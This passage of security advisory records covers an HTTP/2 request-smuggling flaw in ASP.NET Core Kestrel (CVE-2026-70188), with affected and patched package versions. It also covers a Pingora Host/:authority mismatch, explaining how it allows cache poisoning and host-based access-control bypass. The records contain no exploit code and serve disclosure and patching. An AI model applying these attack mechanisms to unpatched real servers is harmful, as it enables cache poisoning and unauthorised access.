"database_specific": {
"last_known_affected_version_range": "\u003c= 11.0.0-rc.1"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.win-x64"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-preview.1"
},
{
"fixed": "11.0.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.0.0-rc.1"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.win-x86"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0-preview.1"
},
{
"fixed": "11.0.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.31"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-arm"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.32"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.31"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.32"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.31"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-musl-arm"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.32"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.31"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.32"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.31"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-musl-x64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.32"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.31"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-x64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.32"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.31"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.osx-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.32"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.31"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.osx-x64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.32"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.31"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.win-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.32"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.31"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.win-x64"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.32"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.0.31"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.win-x86"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.32"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.0.12"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-arm"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.0.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.0.12"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.0.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.0.12"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-musl-arm"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.0.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.0.12"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.0.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.0.12"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-musl-x64"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.0.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.0.12"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-x64"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.0.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.0.12"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.osx-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.0.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.0.12"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.osx-x64"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.0.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.0.12"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.win-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.0.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.0.12"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.win-x64"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.0.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.0.12"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.win-x86"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.0.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-arm"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-musl-arm"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-musl-x64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.linux-x64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.osx-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.osx-x64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.win-arm64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.win-x64"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.20"
},
"package": {
"ecosystem": "NuGet",
"name": "Microsoft.AspNetCore.App.Runtime.win-x86"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.21"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-70188"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-13T20:37:27Z",
"nvd_published_at": "2026-10-13T19:19:33Z",
"severity": "CRITICAL"
},
"details": "## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in Microsoft.AspNetCore.Server.Kestrel.Core. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nKestrel accepts newline characters in HTTP/2 request trailers and values retrieved from the dynamic HPACK table instead of treating them as malformed.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/462\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** Critical\n- **Score:** 9.1\n- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`\n- **Weakness:** CWE-444 (Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027))\n\n## Affected Platforms\n\n- **Platforms:** Windows, Linux, macOS\n- **Architectures:** All\n\n## \u003ca name=\"affected-packages\"\u003e\u003c/a\u003eAffected Packages\n\nThe vulnerability affects Microsoft .NET projects that use an affected package version listed below.\n\nPackage name | Affected version | Patched version\n------------ | ---------------- | ---------------\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | \u003e= 11.0.0-preview.1, \u003c= 11.0.0-rc.1 | 11.0.0-rc.2\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | \u003e= 11.0.0-preview.1, \u003c= 11.0.0-rc.1 | 11.0.0-rc.2\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | \u003e= 11.0.0-preview.1, \u003c= 11.0.0-rc.1 | 11.0.0-rc.2\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | \u003e= 11.0.0-preview.1, \u003c= 11.0.0-rc.1 | 11.0.0-rc.2\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | \u003e= 11.0.0-preview.1, \u003c= 11.0.0-rc.1 | 11.0.0-rc.2\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | \u003e= 11.0.0-preview.1, \u003c= 11.0.0-rc.1 | 11.0.0-rc.2\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | \u003e= 11.0.0-preview.1, \u003c= 11.0.0-rc.1 | 11.0.0-rc.2\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | \u003e= 11.0.0-preview.1, \u003c= 11.0.0-rc.1 | 11.0.0-rc.2\n[Microsoft.AspNetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm) | \u003e= 11.0.0-preview.1, \u003c= 11.0.0-rc.1 | 11.0.0-rc.2\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | \u003e= 11.0.0-preview.1, \u003c= 11.0.0-rc.1 | 11.0.0-rc.2\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | \u003e= 11.0.0-preview.1, \u003c= 11.0.0-rc.1 | 11.0.0-rc.2\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | \u003e= 11.0.0-preview.1, \u003c= 11.0.0-rc.1 | 11.0.0-rc.2\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | \u003e= 8.0.0, \u003c= 8.0.31 | 8.0.32\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | \u003e= 10.0.0, \u003c= 10.0.12 | 10.0.13\n[Microsoft.AspNetCore.App.Runtime.linux-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.linux-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-arm64) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.linux-musl-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-arm64) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.linux-musl-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-musl-x64) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.linux-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.linux-x64) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.osx-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-arm64) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.osx-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.osx-x64) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.win-arm](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.win-arm64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-arm64) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.win-x64](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x64) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n[Microsoft.AspNetCore.App.Runtime.win-x86](https://www.nuget.org/packages/Microsoft.AspNetCore.App.Runtime.win-x86) | \u003e= 9.0.0, \u003c= 9.0.20 | 9.0.21\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n\nIf using a package listed in [affected packages](#affected-packages), you\u0027re exposed to the vulnerability.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\n1. To fix the issue please install the latest version of .NET. If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET SDKs.\n2. If your application references the vulnerable package, update the package reference to the patched version. You can list the versions you have installed by running the `dotnet --info` command.\n\nOnce you have installed the updated runtime or SDK, restart your apps for the update to take effect.\n\nAdditionally, if you\u0027ve deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-70188](https://www.cve.org/CVERecord?id=CVE-2026-70188)\n\n### Acknowledgements\n\n- Aayush Atharva\n\n### Revisions\n\nV1.0 (10/13/2026): Advisory published.",
"id": "GHSA-fpq8-4vhr-rcxx",
"modified": "2026-10-19T19:18:11Z",
"published": "2026-10-13T20:37:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dotnet/aspnetcore/security/advisories/GHSA-fpq8-4vhr-rcxx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-70188"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/announcements/issues/462"
},
{
"type": "PACKAGE",
"url": "https://github.com/dotnet/aspnetcore"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/aspnetcore/discussions/69798"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70188"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Microsoft Security Advisory CVE-2026-70188 - ASP.NET Core Security Feature Bypass Vulnerability"
}
GHSA-FQWV-PCM9-9M42
Vulnerability from github – Published: 2026-10-20 03:32 – Updated: 2026-10-20 03:32
VLAI
Details
Summary
Before version 0.9.0, Pingora accepted HTTP/2 requests whose Host header differed from the :authority pseudo-header. Request filters, cache keys, and logs that read the request URI (session.req_header().uri) saw the :authority value, but the upstream received the client-supplied Host value. Pingora also accepted :authority values containing userinfo (for example, user@example.com). This violates RFC 9113 Section 8.3.1, which requires an intermediary to use the :authority value for Host and replace any existing Host field.
Root cause
HTTP/2 to HTTP/1.1: Host was generated from :authority only when the request had no Host header, so a conflicting client Host was forwarded unchanged.
HTTP/2 to HTTP/2: the client Host header was removed and used to overwrite the upstream :authority, after request filters had already run against the original :authority.
The HTTP/2 server did not compare Host with :authority and did not reject userinfo in the authority.
Impact
A remote, unauthenticated attacker can send a single HTTP/2 request that the application sees as one host and the upstream receives as another. Where request filters, access controls, or cache keys use the URI authority and the upstream routes by Host, this can lead to:
Cache poisoning: a response from another virtual host is stored under the victim host's cache key and served to other users (this also requires the upstream to serve different content per Host).
Host-based access control bypass: a request approved for one host is served by a different virtual host on the upstream.
Deployments that do not accept HTTP/2 from clients, or that do not use the request authority for security or caching decisions, are not affected.
Note that Cloudflare CDN customers were unaffected, as internal Pingora services at Cloudflare do not have HTTP/2 clients.
Mitigation:
Upgrade to pingora 0.9.0 or later. Pingora now returns 400 Bad Request for HTTP/2 requests whose Host differs from :authority, that contain more than one Host, or whose authority contains userinfo, and keeps the upstream Host or :authority consistent with the request authority. Fix commits: https://github.com/cloudflare/pingora/commit/915590a91811877795531f6ba0927a3138b5cb4b , https://github.com/cloudflare/pingora/commit/ffab8302d08d4292d1924eb8fe84647fd5cb8e76
If you cannot upgrade: in request_filter, reject HTTP/2 requests that carry a Host header different from the URI authority, or whose authority contains '@'.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-105298"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-20T01:17:09Z",
"severity": "MODERATE"
},
"details": "Summary\n\n\n\nBefore version 0.9.0, Pingora accepted HTTP/2 requests whose Host header differed from the :authority pseudo-header. Request filters, cache keys, and logs that read the request URI (session.req_header().uri) saw the :authority value, but the upstream received the client-supplied Host value. Pingora also accepted :authority values containing userinfo (for example, user@example.com). This violates RFC 9113 Section 8.3.1, which requires an intermediary to use the :authority value for Host and replace any existing Host field.\n\n\n\n\nRoot cause\n\n * \n\nHTTP/2 to HTTP/1.1: Host was generated from :authority only when the request had no Host header, so a conflicting client Host was forwarded unchanged.\n\n\n * \n\nHTTP/2 to HTTP/2: the client Host header was removed and used to overwrite the upstream :authority, after request filters had already run against the original :authority.\n\n\n * \n\nThe HTTP/2 server did not compare Host with :authority and did not reject userinfo in the authority.\n\n\n\n\n\n\n\nImpact\n\n\n\nA remote, unauthenticated attacker can send a single HTTP/2 request that the application sees as one host and the upstream receives as another. Where request filters, access controls, or cache keys use the URI authority and the upstream routes by Host, this can lead to:\n\n * \n\nCache poisoning: a response from another virtual host is stored under the victim host\u0027s cache key and served to other users (this also requires the upstream to serve different content per Host).\n\n\n * \n\nHost-based access control bypass: a request approved for one host is served by a different virtual host on the upstream.\n\n\n\n\n\n\nDeployments that do not accept HTTP/2 from clients, or that do not use the request authority for security or caching decisions, are not affected.\n\n\n\n\nNote that Cloudflare CDN customers were unaffected, as internal Pingora services at Cloudflare do not have HTTP/2 clients.\n\n\n\n\nMitigation:\n\n * \n\nUpgrade to pingora 0.9.0 or later. Pingora now returns 400 Bad Request for HTTP/2 requests whose Host differs from :authority, that contain more than one Host, or whose authority contains userinfo, and keeps the upstream Host or :authority consistent with the request authority. Fix commits: https://github.com/cloudflare/pingora/commit/915590a91811877795531f6ba0927a3138b5cb4b , https://github.com/cloudflare/pingora/commit/ffab8302d08d4292d1924eb8fe84647fd5cb8e76 \n\n\n * \n\nIf you cannot upgrade: in request_filter, reject HTTP/2 requests that carry a Host header different from the 